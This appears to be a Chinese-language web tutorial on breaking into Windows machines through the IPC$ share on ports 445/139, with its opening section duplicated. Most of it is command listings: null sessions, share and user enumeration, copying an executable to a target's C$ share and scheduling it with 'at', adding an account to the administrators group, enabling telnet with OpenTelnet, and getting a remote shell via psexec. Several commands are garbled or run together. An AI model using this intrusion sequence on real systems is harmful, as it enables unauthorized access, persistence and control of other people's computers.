在局域網可以直接侵入的,445端口有了它我們可以在局域網中輕松訪問各種共享文件夾或共享打印機,但也正是因為有了它,黑客們才有了可乘之機,他們能通過該端口偷偷共享你的硬盤,甚至會在悄無聲息中將你的硬盤格式化掉。 445端口是IPC 服務的默認端口,正是因為IPC服務成為攻擊目標,其依賴于遠程服務器必須監聽445/139端口,因而445端口成為入侵對象。 建立空會話 1 首先,我們先建立一個空會話(當然,這需要目標開放 ipc$ ) 命令: net use \ip\ipc$ “” /user:”” 注意:上面的命令包括四個空格, net 與 use 中間有一個空格, use 后面一個,密碼左右各一個空格。 2 查看遠程主機的共享資源 命令: net view \ip 解釋:前提是建立了空連接后,用此命令可以查看遠程主機的共享資源,如果它開了共享,可以得到如下面的結果,但此命令不能顯示默認共享。 在 \... 的共享資源 資源共享名 類型 用途 注釋 netlogon disk logon server share sysvol disk logon server share 命令成功完成。 3 查看遠程主機的當前時間 命令: net time \ip 解釋:用此命令可以得到一個遠程主機的當前時間。 4 得到遠程主機的 netbios 用戶名列表(需要打開自己的 nbt ) 命令: nbtstat -a ip 用此命令可以得到一個遠程主機的 netbios 用戶名列表,返回如下結果:
node ipaddress:[*.*.*.*] scope id:[]
netbios remote machine name table
name type status
---------------------------------------------
server <00> unique registered
oyamanishi-h <00> group registered
oyamanishi-h <1c > group registered
server <20> unique registered
oyamanishi-h <1b> unique registered
oyamanishi-h <1e> group registered
server <03> unique registered
oyamanishi-h <1d> unique registered
..__msbrowse__.<01> group registered
inet~services <1c > group registered
is~server......<00> unique registered
mac address =00-50-8b -9a -2d-37
在局域網可以直接侵入的,445端口有了它我們可以在局域網中輕松訪問各種共享文件夾或共享打印機,但也正是因為有了它,黑客們才有了可乘之機,他們能通過該端口偷偷共享你的硬盤,甚至會在悄無聲息中將你的硬盤格式化掉。
445端口是IPC 服務的默認端口,正是因為IPC服務成為攻擊目標,其依賴于遠程服務器必須監聽445/139端口,因而445端口成為入侵對象。
建立空會話
1 首先,我們先建立一個空會話(當然,這需要目標開放 ipc$ )
命令: net use \ip\ipc$ “” /user:””
注意:上面的命令包括四個空格, net 與 use 中間有一個空格, use 后面一個,密碼左右各一個空格。
2 查看遠程主機的共享資源
命令: net view \ip
解釋:前提是建立了空連接后,用此命令可以查看遠程主機的共享資源,如果它開了共享,可以得到如下面的結果,但此命令不能顯示默認共享。
在 \... 的共享資源
資源共享名 類型 用途 注釋
netlogon disk logon server share
sysvol disk logon server share
命令成功完成。
3 查看遠程主機的當前時間
命令: net time \ip
解釋:用此命令可以得到一個遠程主機的當前時間。
4 得到遠程主機的 netbios 用戶名列表(需要打開自己的 nbt )
命令: nbtstat -a ip
用此命令可以得到一個遠程主機的 netbios 用戶名列表,返回如下結果:
以上是我們使用空會話所做的事情,注意:建立 ipc$ 連接的操作會在 event log 中留下記錄,不管你是否登錄成功。 那么下面我們就來看看 ipc$ 所使用的端口是什么?
ipc$ 所使用的端口
首先我們來了解一些基礎知識:
1 smbserver message block) windows 協議族,用于文件打印共享的服務;
2 nbtnetbios over tcp/ip) 使用 137 ( udp ) 138 ( udp ) 139 ( tcp )端口實現基于 tcp/ip 協議的 netbios 網絡互聯。
3 在 windowsnt 中 smb 基于 nbt 實現,即使用 139 ( tcp )端口;而在 windows2000 中, smb 除了基于 nbt 實現,還可以直接通過 445 端口實現。
有了這些基礎知識,我們就可以進一步來討論訪問網絡共享對端口的選擇了:
對于 win2000 客戶端(發起端)來說:
1 如果在允許 nbt 的情況下連接服務器時,客戶端會同時嘗試訪問 139 和 445 端口,如果 445 端口有響應,那么就發送 rst包給 139 端口斷開連接,用 455 端口進行會話,當 445 端口無響應時,才使用 139 端口,如果兩個端口都沒有響應,則會話失敗;
2 如果在禁止 nbt 的情況下連接服務器時,那么客戶端只會嘗試訪問 445 端口,如果 445 端口無響應,那么會話失敗。
對于 win2000 服務器端來說:
1 如果允許 nbt, 那么 udp 端口 137, 138, tcp 端口 139, 445 將開放( listening );
2 如果禁止 nbt ,那么只有 445 端口開放。
我們建立的 ipc$ 會話對端口的選擇同樣遵守以上原則。顯而易見,如果遠程服務器沒有監聽 139 或 445 端口, ipc$ 會話是無法建立的。
ipc 管道在 hack 攻擊中的意義
ipc 管道本來是微軟為了方便管理員進行遠程管理而設計的,但在入侵者看來,開放 ipc 管道的主機似乎更容易得手。通過 ipc管道,我們可以遠程調用一些系統函數(大多通過工具實現,但需要相應的權限),這往往是入侵成敗的關鍵。如果不考慮這些,僅從傳送文件這一方面,ipc 管道已經給了入侵者莫大的支持,甚至已經成為了最重要的傳輸手段,因此你總能在各大論壇上看到一些朋友因為打不開目標機器的 ipc管道而一籌莫展大呼救命。當然,我們也不能忽視權限在 ipc管道中扮演的重要角色,想必你一定品嘗過空會話的尷尬,沒有權限,開啟管道我們也無可奈何。但入侵者一旦獲得了管理員的權限,那么 ipc管道這把雙刃劍將顯示出它猙獰的一面。
ipc$ 連接失敗的常見原因
以下是一些常見的導致 ipc$ 連接失敗的原因:
1 ipc 連接是 windows nt 及以上系統中特有的功能,由于其需要用到 windows nt 中很多 dll 函數,所以不能在windows 9.x/me 系統中運行,也就是說只有 nt/2000/xp 才可以相互建立 ipc$ 連接, 98/me 是不能建立ipc$ 連接的;
2 如果想成功的建立一個 ipc$ 連接,就需要響應方開啟 ipc$ 共享,即使是空連接也是這樣,如果響應方關閉了 ipc$ 共享,將不能建立連接;
3 連接發起方未啟動 lanmanworkstation 服務(顯示名為: workstation ):它提供網絡鏈結和通訊,沒有它發起方無法發起連接請求;
4 響應方未啟動 lanmanserver 服務(顯示名為: server ):它提供了 rpc 支持、文件、打印以及命名管道共享, ipc$ 依賴于此服務,沒有它主機將無法響應發起方的連接請求,不過沒有它仍可發起 ipc$ 連接;
5 響應方未啟動 netlogon ,它支持網絡上計算機 pass-through 帳戶登錄身份(不過這種情況好像不多);
6 響應方的 139 , 445 端口未處于監聽狀態或被防火墻屏蔽;
7 連接發起方未打開 139 , 445 端口;
8 用戶名或者密碼錯誤:如果發生這樣的錯誤,系統將給你類似于 ‘ 無法更新密碼 ‘ 這樣的錯誤提示(顯然空會話排除這種錯誤);
9 命令輸入錯誤:可能多了或少了空格,當用戶名和密碼中不包含空格時兩邊的雙引號可以省略,如果密碼為空,可以直接輸入兩個引號 “” 即可;
10 如果在已經建立好連接的情況下對方重啟計算機,那么 ipc$ 連接將會自動斷開,需要重新建立連接。
入侵中可能會用到的命令
1 建立 / 刪除 ipc$ 連接的命令
1 )建立空連接 :
net use \\127.0.0.1\ipc$ "" /user:""2 )建立非空連接 :
net use \\127.0.0.1\ipc$ " 密碼 " /user:" 用戶名 "3 )刪除連接 :
net use \\127.0.0.1\ipc$ /del2 在 ipc$ 連接中對遠程主機的操作命令
1 ) 查看遠程主機的共享資源(看不到默認共享) :
net view \127.0.0.1
2 ) 查看遠程主機的當前時間 :
net time \\127.0.0.13 ) 得到遠程主機的 netbios 用戶名列表 :
nbtstat -A 127.0.0.14 )映射 / 刪除遠程共享 :
net use z: \\127.0.0.1\c此命令將共享名為 c 的共享資源映射為本地 z 盤
net use z: /del刪除映射的 z 盤,其他盤類推
5 )向遠程主機復制文件 :
copy 路徑 \ 文件名 \IP\ 共享目錄名,如:
copy c:\xinxin.exe \127.0.0.1\c$ 即將 c 盤下的 xinxin.exe 復制到對方 c 盤內
當然,你也可以把遠程主機上的文件復制到自己的機器里:
copy \\127.0.0.1\c$\xinxin.exe c:6 )遠程添加計劃任務 :at \IP 時間 程序名 如:
at \\127.0.0.0 11:00 xinxin.exe注意:時間盡量使用 24 小時制;如果你打算運行的程序在系統默認搜索路徑(比如 system32/ )下則不用加路徑,否則必須加全路徑
3 本地命令
1 )查看本地主機的共享資源(可以看到本地的默認共享)
net share2 )得到本地主機的用戶列表
net user3 )顯示本地某用戶的帳戶信息
net user 帳戶名4 )顯示本地主機當前啟動的服務
net start5 )啟動 / 關閉本地服務
net start 服務名 net stop 服務名6 )在本地添加帳戶
net user 帳戶名 密碼 /add7 )激活禁用的用戶
net uesr 帳戶名 /active:yes8 )加入管理員組
net localgroup administrators 帳戶名 /add很顯然的是,雖然這些都是本地命令,但如果你在遠程主機的 shell 中輸入,比如你 telnet 成功后輸入上面這些命令,那么這些本地輸入將作用在遠程主機上。
4 其他一些命令
1 ) telnet
telnet IP 端口telnet 127.0.0.0 232 )用 opentelnet.exe 開啟遠程主機的 telnet
OpenTelnet.exe \\ip 管理員帳號 密碼 NTLM 的認證方式 portOpenTelnet.exe \\127.0.0.1 administrator "" 1 90不過這個小工具需要滿足四個要求:
1 )目標開啟了 ipc$ 共享
2 )你要擁有管理員密碼和帳號
3 )目標開啟 RemoteRegistry 服務,用戶就可以更改 ntlm 認證
4 )對僅 WIN2K/XP 有效
3 )用 psexec.exe 一步獲得 shell ,需要 ipc 管道支持
psexec.exe \IP -u 管理員帳號 -p 密碼 cmd
psexec.exe \127.0.0.1 -u administrator -p “” cmd
回答所涉及的環境:聯想天逸510S、Windows 10。